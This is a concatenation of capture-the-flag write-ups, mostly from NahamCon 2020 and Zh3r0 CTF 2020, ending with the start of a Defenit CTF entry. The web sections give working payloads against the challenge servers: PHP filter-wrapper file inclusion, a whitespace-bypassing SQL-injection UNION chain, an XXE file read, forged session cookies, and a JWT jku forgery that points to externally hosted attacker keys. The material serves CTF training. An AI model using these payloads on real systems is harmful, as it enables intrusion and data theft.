**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# Merriam Webster Writeup### Writeup by nineluj
After connecting to the server you are asked to perform 500 tasks after which you receive the flag. The first few tasks were in the same order but since there so many to solve it was better to just use a while loop. The one trick for this one was to realize that you should use `/usr/share/dict/words` instead of downloading other word lists. Some people tried using the Merriam Webster API but this approach is way too slow (1-2 seconds per request).
Code:```from pwn import remote, log
# Use a set for faster lookupdic_file = open('/usr/share/dict/words')dic_list = {s.lower()[:-1] for s in dic_file.readlines()}
def get_fake_list(wl): return list(filter(lambda w: w not in dic_list, wl.split(" ")))
def get_real_list(wl): return list(filter(lambda w: w in dic_list, wl.split(" ")))
funcs = { ": Can you tell me how many words here are NOT real words?": lambda wl: len(get_fake_list(wl)), ": Can you tell me which words here are NOT real words IN CHRONOLOGICAL ORDER? Separate each by a space.": lambda wl: " ".join(get_fake_list(wl)), ": Can you tell me which words here are NOT real words IN ALPHABETICAL ORDER? Separate each by a space.": lambda wl: " ".join(sorted(get_fake_list(wl))), ": Can you tell me how many words here ARE real words?": lambda wl: len(get_real_list(wl)), ": Can you tell me which words here ARE real words IN CHRONOLOGICAL ORDER? Separate each by a space.": lambda wl: " ".join(get_real_list(wl)), ": Can you tell me which words here ARE real words IN ALPHABETICAL ORDER? Separate each by a space.": lambda wl: " ".join(sorted(get_real_list(wl))),}
def main(): r = remote('jh2i.com', 50012)
while True: prompt = r.recvuntil("\n", drop=True).decode() if prompt not in funcs: log.info(f"Got flag >>>>>>>> {prompt}") exit() log.info(prompt)
# Read the words words = r.recvuntil("\n", drop=True).decode()
# Compute and send the response resp = funcs[prompt](words) r.sendlineafter(">", str(resp).encode())
# Get status status = r.recvuntil("\n", drop=True).decode()
if "fired" in status.lower(): log.error(f"Oops, failed task for prompt ({prompt})") else: log.info(status)
if __name__ == "__main__": main()```
The flag was `flag{you_know_the_dictionary_so_you_are_hired}` |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
# Z3hr0_CTF_2020
***# Table of Contents
* [Forensics](#Forensics) - [LSB fun](#LSB-fun) - [Snow](#Snow) - [is it a troll???](#is-it-a-troll) * [Crypto](#Crypto) - [RSA-Warmup](#RSA-Warmup) - [Mix](#Mix)* [Web](#Web) - [Web-Warmup](#Web-Warmup)
***
# Forensics ## LSB fun have you ever heard of LSB :) ?
Author : h4x5p4c3
file : [user.zip](Assets//Files/user.zip)
**Solution:** After you unzip the file you'll get a jpg image, the first thing came to my mind is to use [jsteg](https://github.com/lukechampine/jsteg)```bashjsteg reveal chall.jpg```
and Bingo! **flag:**```zh3r0{j5t3g_i5_c00l}```
## SnowI wonder if the snow loves the trees and fields, that it kisses them so gently?
Author : h4x5p4c3
file : [snow.zip](Assets//Files/snow.zip)
**Solution:**I unzipped the file and got some hidden files , so I tried firstly to check ```flag.txt``` but it wasn't the correct flag
so I kept checking all the hidden files and folders until I got : ```welc0me_to_zh3r0_ctf```
which is also not the flag, so I went back to the unhidden files ```chall.txt``` , from the name of the challenge we can guess that we should use [stegsnow](https://0x00sec.org/t/steganography-concealing-messages-in-text-files/500) or [snow](http://www.darkside.com.au/snow/)
This indicates that we need a password , I tried ```john``` using ```rockyou.txt``` but I got nothing, so I remembered the string ```welc0me_to_zh3r0_ctf``` that I got from ```.secret.txt```
**flag:**```zh3r0{i5_it_sn0w1ng?}```
## is it a troll???there is baby key and baby hide the key somewhere. Can you help his father to find the key??
Author : cryptonic007
file : [Trollface.jpg](Assets//Files/Trollface.jpg)
**Solution:**
At the beginning I tried ```strings```,```binwalk``` etc.. But nothing interesting, so I tried ```exiftool```
There's a text at Author looks encrypted by ```Base64``` ,but that wasn't true so I tried ```Base58``` and ```Base62``` using [CyberChef](https://gchq.github.io/CyberChef/) and ```Base62``` worked.
I got ```pass : itrolledyou``` ,so since it mentioned password I used [steghide](http://steghide.sourceforge.net/) tool with ```itrolledyou``` as a password
```steghide extract -sf Trollface.jpg ```It extracted a zip file that contains another image
I tried usual things such as ```strings, exiftool etc..``` but again nothing interesting , then I used [zsteg](https://github.com/zed-0xff/zsteg) which is a great tool for ```.png``` and ```.bmp```. I got a strange text again that looks encrypted
So again using [CyberChef](https://gchq.github.io/CyberChef/) I tried all Bases and ```Base58``` worked.
**flag:**```zh3ro{y0u_got_th3_k3y}```
# Crypto
## RSA-WarmupRSA is one of the first public-key cryptosystems and is widely used for secure data transmission. In such a cryptosystem, the encryption key is public and distinct from the decryption key which is kept secret.You all know this :phere is a warmup question.
nc crypto.zh3r0.ml 8451
Author : Finch
**Solution:**
After connecting we will get :```N:423130325547287702818575275911638514089000677312397089081805057991969030705298706721977584791771140221048428491277072574621931762053228292827558133848431392100907341475739701625443407159362865290713505269417296254943824301579820381205337075166450305894211548942250717365528936705397266131955244020850392151721662069939e 65537CT: 64355745797365388490412995076301513621958191046794834306956838312585280589421173619216473785642127494178580195654010801071081452854241462208557812725513288017128104994318837129257203983692773852306990540483172991569629801482576680150381602438163038587331616025889766347178216490112604297980040248921138616716362273714```Firstly we need to factorize ```N``` by using [Integer factorization calculator](https://www.alpertron.com.ar/ECM.HTM)
We can choose eaither the highlighted value or the one after ```x``` , then we need to remove all whitespaces from that value we choosed I use this website [Delete All Whitespace Characters](https://www.browserling.com/tools/remove-all-whitespace)
Then you can use any RSA tool but I prefer this one that I got from a write-up video on YouTube [BabyRSADecryption.py](https://www.youtube.com/watch?v=dKt0x-UhPeY)
**flag:**```zh3r0{RSA_1s_Fun}```
## Mix
At the `BASE`ment no. `65536`,A man is irritated with `SHIFT` key in his `KEYBOARD` as it's a sticky key, A kid is having chocolate icecream with a `SPOON`.
Author : Whit3_D3vi1
File : [Mix.zip](Assets//Files/Mix.zip)
**Solution:**
> Fast of all , the challenge description has everything you need to find out the flag.
At first when I unzip the `Mix.zip` archived file I got two new file under the Mix folder
1. [flag.txt](Assets//Files/Mix/flag.txt)
file data:
``` If you opened this then you are a n00b ```
2. [chall_encrypted.txt](Assets//Files/Mix/chall_encrypted.txt)
file data :
```ꍦ鱡映㸺ꅙ饯?啤啳???魴餠???遯??顲啹???啤?啩灧鵳?楪扴詽鸭餫?怴㸊ꍦ鱡朠㸺攳攳昳昳攳昳攳攳攲攳昳昳昳攳攳昳攳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳攳昳昳攳昳攳攳攲攳昳昳昳攳昳昳昳攲攳攳昳昳攳攳昳昳攲攳昳昳昳攳攳昳昳攲攳攳昳昳攳攳攳攳攲攳昳昳攳昳昳攳昳攲攳攳昳昳攳攳昳昳攲攳昳攳昳昳昳昳昳攲攳昳昳昳攳昳昳昳攲攳昳昳攳昳攳攳昳攲攳攳昳昳攳昳昳昳攲攳昳昳攳昳攳攳攳㸊ꍦ鱡栠㸺襍?襍?襍?襍?襍?祍?襍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?祍?祍?祍?襍?祍?襍?祍?祍?襍?祍?襍?襍?襍?襍?祍?祍?襍?襍?襍?襍?祍?襍?祍?祍?祍?祍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?祍?襍?襍?襍?祍?祍?襍?襍?襍?襍?襍?襍?祍?祍?祍?祍?祍?襍?襍?襍?襍?襍?癍爽ᔊ```
The `flag.txt` file contents are not so interesting so we have move forward to the `chall_encrypted.txt` file.At first, when I saw the the content of the file I thought that I have to translate that shitty thing.For this I goes to [google translate](https://translate.google.co.in/) but it couldn't find anything (except some gibberish).After this I returned back to the main site & read the challenge description properly.At this time I saw there are some words which are highlited into bold.After seeing the first highlited word I have got a question in my mind that is the cipher text is any type of base encrypted data.To find out the answer I just searched on google for the first two highlited words together & I found that the encrypted data is a [base65536](https://www.better-converter.com/Encoders-Decoders/Base65536-Decode) hash encrypted text.After decoding that file data I got this :
```
flag 1:Yjod od s lrunpstf djogy vo[jrtyrcy jrtr od upi g;sh xj4t-}U-i+dit4+
flag 2:3030313130313030203031313130303130203030313130303131203031303131313131203030313130313030203031313130313131203030313130303131203031313130303131203030313130303030203031313031313031203030313130303131203031303131313131203031313130313131203031313031303031203030313130313131203031313031303030
flag 3:MTExMTExMTExMTAwMTAwMDEwMTAxMDExMTAxMDExMTExMTEwMTAxMTExMTExMTExMDExMDExMDExMDExMDAwMDAxMTAxMDAxMDAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDAwMDAwMDAwMDAwMTAxMDAwMTAxMDAxMDAwMTAxMDAxMTExMTExMTAwMTAxMDAxMDExMTExMTExMTAwMTAxMDAxMTAwMDAwMDAwMDAwMDAwMTAxMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMTAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxMDEwMDAwMDAwMDAxMDEwMDExMDAwMDAwMDAxMDEwMDAxMDEwMTExMTAwMTAxMDAxMDExMTExMTExMTExMTExMTExMTExMDAxMDEwMDExMDExMDExMTExMTExMTExMTAwMTAxMA==
```
These are the main three parts of the flag.The first one is [Shift Keyboard](https://www.dcode.fr/keyboard-shift-cipher) encrypted data as the next highlited word from the challenge description says.After decoding this I got the first part of the flag.
```zh3r0{Y0u_sur3_
```
The middle one is looks like some decimal number presentation of the middle part of the flag.But I am wrong. When I was googling for this I got [this artical](https://www.reddit.com/r/codes/comments/evz1uk/riddle_from_discord_coding_language_if_you_could/) that have this following text.
```Hex ascii codes. 20 = Space, 30 = 0, 31 = 1.
```
There after, first I have turned the [hex into ascii](https://www.rapidtables.com/convert/number/hex-to-ascii.html) format & I got some binaries. After that I turned the [binary to text](https://www.rapidtables.com/convert/number/binary-to-ascii.html) format.And yup I got the middle part of the flag.
```4r3_4w3s0m3_wi7h
```
The third one is [base64](https://www.base64decode.net/) encoded data. After decoding this I got another cipher text which looks like some binary data but that is a [Spoon](https://www.dcode.fr/spoon-language) cipher as the last highlited word from the challenge description says& yeah I got the last part of the flag as well.
```_411_7h3_ski115}
```
**flag:**```zh3r0{Y0u_sur3_4r3_4w3s0m3_wi7h_411_7h3_ski115}```
# Web## Web-Warmup
Chall Link : http://web.zh3r0.ml:8080/
Easy peasy.
Author : careless_finch **Solution** Firstly we check the page source 
As there's nothing interesting , let's check ```bg.css```
**flag:** ```zh3r0{y3s_th1s_1s_w4rmup}``` |
# Remote Retreat:OSINT:250ptsAgent, it's good to have you. One of our targets has been constantly avoiding us, but we managed to find their private Instagram. They just posted a photo, but we can't work out where they are. We tried to check the EXIF data, but it appears the social platform removes it automatically. Let us know where he is by clicking on the map, you'll have to be accurate to within 500 meters!  [hires.jpg](hires.jpg)
# SolutionOSINT問題のようだ。 地図上の座標を特定してやればよい。 まずは画像をよく見ると以下の部分が目につく。  the HAKA bar CREPERIE SNACKと書かれているようだ。 the HAKA barでGoogle画像検索を行うとそれらしき場所が出てくる。 GoogleImages [Gis.png](images/Gis.png) The Haka Bar, Morzineがタイトルなので、それをGoogleMapsに入れる。 GoogleMaps [Gms.png](images/Gms.png) 46.181174,6.702533ここのようだ。
## 46.181174,6.702533 |
# Dodge Writeup
### Defenit CTF 2020 - Misc 906 - 3 solves
> Dodge it! `nc dodge.ctf.defenit.kr 1357`
#### Hints
- This dodge is multi-tasking-dodge(4 tasks), get more than 120 points!- You will get your score after the game.- You can change the focused game with q, e and moving direction of the player with w, a, s, d.Focused game is marked with `*` next to the number.
#### Observation
To start the game, solve 3 byte PoW. Four dodge games start with following below rules.
